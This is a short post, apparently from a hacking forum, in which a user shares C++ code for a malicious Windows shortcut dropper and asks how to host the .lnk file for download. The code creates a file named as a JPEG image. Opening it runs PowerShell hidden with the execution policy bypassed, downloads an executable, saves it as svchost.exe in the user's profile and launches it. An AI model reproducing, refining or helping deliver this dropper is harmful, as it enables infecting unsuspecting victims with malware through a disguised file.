• XSS.stack #1 – первый литературный журнал от юзеров форума

.LNK Powershell Downloader

netix

HDD-drive
Пользователь
Регистрация
07.11.2022
Сообщения
40
Реакции
7
Sobral tokoi code, rabotoet norm, tok kak etot sam .lnk zagruzit naprimer na websever?
Probiwal .lnk w .zip minat ima i posle downloada wihodit ima: a.downloaded

Код:
#define WIN32_LEAN_AND_MEAN

#include <windows.h>
#include <tchar.h>
#include <wininet.h>
#include <urlmon.h> 
#include <Shlwapi.h>
#include <sddl.h>
#include <tlhelp32.h>
#include <shlobj.h>
#include <winioctl.h> 

void CreateShortCutW(LPCWSTR lpLnkFile, LPCWSTR lpIconFile, int iIconIndex)
{
    IShellLinkW *psl;

    HRESULT hres;
    
    CoInitialize(NULL);
    
    hres = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLinkW, (LPVOID*)&psl);

    if (SUCCEEDED(hres) && psl)
    {
        WCHAR wszLnkArg[MAX_PATH];
        
        wsprintfW(wszLnkArg, L"/c PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://link/k.exe','%%userprofile%%\\svchost.exe');Start-Process '%%userprofile%%\\svchost.exe'&exit");    

        psl->SetPath(L"%windir%\\System32\\cmd.exe");
        psl->SetIconLocation(lpIconFile, iIconIndex);
        psl->SetShowCmd(SW_SHOWMINNOACTIVE);
        psl->SetArguments(wszLnkArg);

        IPersistFile *ppf;

        hres = psl->QueryInterface(IID_IPersistFile, (LPVOID*)&ppf);

        if (SUCCEEDED(hres) && ppf)
        {
            ppf->Save(lpLnkFile, TRUE);
            ppf->Release();
        }

        psl->Release();
    }
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)    
{
    Sleep(2000);
    
    CreateShortCutW(L"PIC0402023.jpg.lnk", L"shell32.dll", 325);

    return 0;
}

[/CODE
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх